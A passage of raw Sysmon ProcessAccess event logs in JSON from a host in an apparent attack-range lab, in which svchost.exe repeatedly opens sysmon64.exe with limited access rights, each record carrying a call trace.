C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2178,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2179,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2180,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2181,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2182,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2183,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2184,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:06.281","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2185,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:06.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 